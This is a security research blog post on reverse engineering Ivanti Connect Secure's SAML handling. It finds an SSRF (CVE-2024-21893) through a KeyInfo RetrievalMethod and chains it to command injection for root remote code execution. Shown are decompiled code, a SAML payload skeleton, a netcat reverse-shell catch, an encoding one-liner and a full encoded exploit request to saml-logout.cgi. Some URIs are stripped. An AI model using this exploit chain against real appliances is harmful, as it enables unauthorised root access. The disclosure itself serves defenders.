Research Notes
February 2, 2024

Ivanti's Pulse Connect Secure Auth Bypass Round Two

No items found.
Creative Commons license


The Ivanti excitement continues! After an authentication bypass and command injection to kick off the year, Ivanti are following with a second authentication bypass and a privilege escalation. On January 22 Ivanti released this advisory describing the two new vulnerabilities in Ivanti Connect Secure, CVE-2024-21888 (privilege escalation) and CVE-2024-21893 (authentication bypass).

As this was another critical authentication bypass and the unpatched command injection vulnerability was well known at this point, our security research team immediately began work to ensure that customers of our Attack Surface Management platform were notified if they were affected.

In this blog post, we detail our reverse engineering process to find and exploit this new authentication bypass. For details on how we obtained a copy of Ivanti Connect Secure and the source code please see our previous post which covers obtaining the VM Image and extracting the filesystem.

Where to Start?

The advisory from Ivanti mentioned a "server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure". This gave us a really good starting point because there are only a few SAML endpoints available. Like most of the authentication functionality, SAML exists under the <span class="code_single-line">/dana-na/auth/</span> path and is handled by several Perl CGI scripts. We started with <span class="code_single-line">/dana-na/auth/saml-consumer.cgi</span> and found out pretty quickly that it hands off the request to <span class="code_single-line">DSAuth::SAMLConsumer::process</span> without really doing any checks or validation.

if ($status eq '') {
    $samlData =~ s/\r//g;
    $samlData =~ s/\n//g;
    $encoding = CGI::param('SAMLResponse');
    $status = DSAuth::SAMLConsumer::process($method, $samlData, 
                                                $assertRef, $targetURL, 
                                                $relayState, $encoding,
                                                $signature, $sigAlg,


From our work on the previous vulnerabilities, we knew the DSAuth perl module was just a wrapper around some C and C++ libraries. We decompiled with Ghidra and found that it imported most of its functions from the following libraries.


We already had <span class="code_single-line"></span> decompiled and so quickly searched for <span class="code_single-line">SAMLConsumer</span> with Ghidra. We also could have used <span class="code_single-line">objdump</span> to print the symbol table, add the <span class="code_single-line">-C</span> to demangle the C++ names and grep for <span class="code_single-line">SAMLConsumer</span> to verify it was in there.

$ objdump -TC | grep SAMLConsumer
00743000 g    DF .text  00000736              DSAuth::SAMLConsumer::process(DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr const&, DSStr&)

Unfortunately, all the <span class="code_single-line">DSAuth::SAMLConsumer::process</span> function did was put some variables in a table and then send them to a "saml sso par server".

cVar5 = DSParComm::connect(local_20,local_818,0x10,(char *)0x0,(int *)0x0);
if (cVar5 == '\0') {
    if ((DAT_010913f8 == '\0') && (iVar7 = __cxa_guard_acquire(&DAT_010913f8), iVar7 != 0)) {
        /* try { // try from 00753463 to 00753467 has its CatchHandler @ 00753704 */
        DAT_01091400 = (uint *)DSGetStatementCounter("",0x3e,"process","saml",10, "unable to connect to saml sso par server");
    puVar3 = DAT_01091400;
    uVar2 = *DAT_01091400;
    puVar1 = DAT_01091400 + 1;
    *DAT_01091400 = uVar2 + 1;
    puVar3[1] = *puVar1 + (uint)(0xfffffffe < uVar2);
    iVar7 = DSLog::Debug::isOn();
    if (iVar7 != 0) {
        * try { // try from 00753405 to 00753409 has its CatchHandler @ 00753684 */
        DSLog::Debug::Write("saml",10,"",0x3e, "unable to connect to saml sso par server");
    /* try { // try from 007533a0 to 007533a4 has its CatchHandler @ 007536c2 */

We didn’t know what a “saml sso par server” was and at this stage decided it would be best to change strategies. We decided to configure our ICS VM to use SAML authentication, then we could capture some proper requests and see what the intended behaviour was.

In retrospect, we should have searched the filesystem for saml. Because the SAML server is sitting right there, but we only realised this later.

$ find . | grep saml

Finding the SAML Server

Using Mock SAML and stumbling through multiple guides on how to configure ICS for SAML we were able to get it mostly working. We never got authentication to work, but we were able to get to a stage where ICS would send us to Mock SAML and Mock SAML would send us back with a <span class="code_single-line">SAMLResponse</span> that ICS would process and attempt to verify.

This gave us a SAML payload to modify and try different things with. While trying some XXE payloads we came across an error: <span class="code_single-line">Unknown issuer value in response</span>. We searched the filesystem for any matches to see where this error was coming from as it wasn't in anything we had seen so far.

$ grep -ir 'Unknown issuer value in response' .
Binary file ./home/bin/saml-server matches

We found it in <span class="code_single-line">/home/bin/saml-server</span> which sounded like the server <span class="code_single-line">DSAuth::SAMLConsumer::process</span> connected to. We decompiled <span class="code_single-line">saml-server</span> and searched for the error message. There weren’t many helpful function names, however most had some kind of logging that included the function name. Below we can see the error message and the function name <span class="code_single-line">validateSAMLResponse</span>.

    if (iVar15 != 0) {
                    /* try { // try from 080e0b9d to 080e0ba1 has its CatchHandler @ 080e1877 */
      DSStr::operator=((DSStr *)param_5,"FAILURE: Unknown issuer value in response");
      if ((DAT_081fac98 == '\0') && (iVar8 = __cxa_guard_acquire(&DAT_081fac98), iVar8 != 0)) {
                    /* try { // try from 080e0bf4 to 080e0bf8 has its CatchHandler @ 080e187e */
        DAT_081fad30 = (uint *)DSGetStatementCounter
                                          "validateSAMLResponse: %s, Configured %s, Received %s");
      puVar5 = DAT_081fad30;
      uVar2 = *DAT_081fad30;
      puVar1 = DAT_081fad30 + 1;
      *DAT_081fad30 = uVar2 + 1;
      puVar5[1] = *puVar1 + (uint)(0xfffffffe < uVar2);
                    /* try { // try from 080e0c1e to 080e0c6e has its CatchHandler @ 080e1877 */
                          "validateSAMLResponse: %s, Configured %s, Received %s",*param_5,
                          *(undefined4 *)(param_1 + 0x16c),local_24);
      return 0;

Finding the SSRF

Now that we had the SAML server, we began working backwards from <span class="code_single-line">validateSAMLResponse</span> to see if we could get to the beginning of the SAML processing. From there we could look for anything that would indicate SSRF or XXE. While looking at the <span class="code_single-line">processPost</span> function we saw the following.

if ((param_4 != 0) &&
    (iVar6 = __dynamic_cast(param_4,&xmltooling::XMLObject::typeinfo, &opensaml::saml2p::Response::typeinfo,0xffffffff), iVar6 != 0)) {
    /* try { // try from 080e19eb to 080e19ef has its CatchHandler @ 080e1dd0 */
    xmltooling::ValidatorSuite::validate((XMLObject *)&xmltooling::SchemaValidators);
    cVar5 = FUN_080dfb70_validateSAMLResponse(param_1,iVar6,param_5,1,param_6);
    if (cVar5 != '\0') {

We had previously seen an SSRF in SAML processing when validating the XML payload against an XML Schema Definition. Although unlikely, we thought it was worth verifying. <span class="code_single-line">xmltooling::ValidatorSuite::validate</span> was an imported from <span class="code_single-line"></span>. We searched online and found that it as an open source package so we wouldn’t need to decompile it.

The version we found on the device was <span class="code_single-line"></span>and searching for “ cve” led us to a page of advisories, quite a few without CVEs. The most recent affected <span class="code_single-line">xmltooling < 3.2.4</span> and was rated low. However, the advisory sounded exactly like what we were looking for.

Including certain legal but “malicious in intent” content in the KeyInfo element defined by the XML Signature standard will result in attempts by the SP’s shibd process to dereference untrusted URLs.

We went to the XML Signature spec and began looking to see what we could put in a KeyInfo element. The RetrievalMethod option seemed like the obvious choice. We could specify a URI that the application would retrieve the certificate information from.

Since we already had a full SAML payload with the <span class="code_single-line">KeyInfo</span> element in it, all we needed to do was replace <span class="code_single-line">X509Data</span> with <span class="code_single-line">RetrievalMethod</span>. We used a Burp Collaborator URL to create the following KeyInfo element.

  <RetrievalMethod URI=""></RetrievalMethod>

We put this back in our SAML response, sent the request and were pleased to see a hit in Collaborator.

GET / HTTP/1.0

We also got an error message from ICS saying it failed to process the SAML payload.

<div id="table_saml-error_5" class="error-subtitle">
    SAML Transfer failed. Please contact your system administrator.
<div id="table_saml-error_5" class="intermediate__content">
    Detail: Failure: SAML Post Processing Failed. Caught an XMLSecurity exception while loading signature: An error occured during an XPath evalaution

Remote Code Execution

At this stage we were pretty confident we had the SSRF. Converting the SSRF to an authentication bypass and then RCE was comparatively much simpler.

We knew from the previous authentication bypass that the REST API was a python server behind a web proxy and all the authentication was done by the proxy. If we could use the SSRF to directly call the python server, we would be able to exploit the same command injection vulnerability as before.

The configuration file at <span class="code_single-line">/root/home/config/config_restserver.spec.cfg</span> showed the rest server was running on port 8090. So we modified our previous command injection payload which contained a python reverse shell. The previous payload exploited the path traversal as follows.

It was modified to remove the path traversal and target <span class="code_single-line"></span>.

The full SAML payload was as follows. Since the vulnerability was just in the signature parsing, we could remove many of the other SAML elements.

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Version="2.0">
   <Signature xmlns="">
         <CanonicalizationMethod Algorithm="" />
         <SignatureMethod Algorithm="" />
         <RetrievalMethod URI="">

This was then encoded and sent to <span class="code_single-line">/dana-na/auth/saml-consumer.cgi</span>.

POST /dana-na/auth/saml-consumer.cgi HTTP/1.1
Content-Length: 6658
Content-Type: application/x-www-form-urlencoded
Connection: close


We then caught our reverse shell.

$ nc -lv 4444
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)

A More Reliable Endpoint

While verifying the exploit we came across a common problem where if SAML was not configured the application would always respond with <span class="code_single-line">Missing/Invalid sign-in URL</span>. However, since we knew that the vulnerability existed in the signature verification and XML parsing it was possible that the exploit didn’t need to be part of the login flow. Any flow that processed SAML could be vulnerable.

We had a look at the other SAML endpoints and found <span class="code_single-line">/dana-na/auth/saml-logout.cgi</span>. Looking at the code it also called <span class="code_single-line">DSAuth::SAMLConsumer::process</span> which was promising.

    $status = DSAuth::SAMLConsumer::process($method, $samlData, 
            "", "", $relayState, $encoding, $signature, $sigAlg, $sloSpId, "");

We had to change some of the parameters and compress the SAML payload with deflate before base64 encoding, but otherwise the exploit worked with no modification. This version was much more reliable and worked on targets that did not appear to be configured for SAML authentication. A simple one-liner to correctly compress and encode the payload is as follows.

cat payload.xml | python3 -c "import base64, zlib, sys; x=zlib.compressobj(wbits=-15); x.compress(; print(base64.b64encode(x.flush()).decode('utf-8'))"

This can then be sent with a GET request. The <span class="code_single-line">SpId</span> parameter is added to bypass a small check, the value is unused.

GET /dana-na/auth/saml-logout.cgi?SpId=1&SAMLResponse=lVTfb5s8FH3vX4Go7mNiY8AkKElVTZpUbX1pv%2fbdASdBIzjCtGn31%2ffYCSlrum%2bbYlnmcM4990fM7OplWwfPurWVaeZhNOZhoJvClFWznocP%2f30dTcKrxcXMqm29y%2b%2b03ZnG6gCixuYenIdPbZMbZSubN2qrbd4V%2bf317fdcjHm%2ba01nClOHwWPvAThcXARBMLuv1o3qntpjvHm46bpdzth%2bvx%2fv47Fp10xwzhmfMhBKW60vD8perMubZmV6yKFfVGOaqlB19VN1sLvV3caUwXW9Nm3Vbba%2f8YhYxJ3HSL8UoyJKmsswYMO4p1T%2fOiBP%2bqRHW9Pqy9aqkd0okcpB6Bk7L%2bPd61HVT3rxciANkJ74Tb9%2brP9Od22ln1V9zPPh7uaUYSSyMccvyid8ypnaVew5YnVVaIyU%2fdCvdmQ72FhG8ZIyTtmUsoTkhOSKpCbBSZQkY3%2fISE5Jlo6Gt5lwTOBZ7MnYlyRTDxYOzFKS4IAgegLeAo%2b9F3aEOtfqz8DJ58wkokRSuqJkSgkeU0p793NyGlMCJvalk%2bAR5FQ4lYtTkpgeEwPZaX0H3EIhSNun4ZagOKIYZOGY7iwpBu7PRwRvM8dEMnHyvmBxcvmf%2fhwTiEgWbsE0XfpooIGMKWA0GAE4Ph%2b4uB2TQnxBKWo5jACjxPL8Q7ddZOkRREYCeFz5oiAcShDc9%2b3fVJCgIvTnjyqsDH043W13Lz78kd8vzPBPP7gZ%2bEaxXz9Sizc%3d HTTP/1.1
Connection: close


Like the previous Ivanti vulnerabilities this too has the potential for a big impact. The vulnerability is present on a large number of devices and doesn’t appear to require any specific configuration.

The mitigations from the previous vulnerability don’t appear address the root cause of the command injection vulnerability. As such more mitigations must be applied to mitigate this new bypass.

Fortunately Ivanti has released a patch which should address all the vulnerabilities. Those running Ivanti are recommended to factory reset their devices and apply the patch. The full details are available here

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Written by:
Dylan Pindur
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.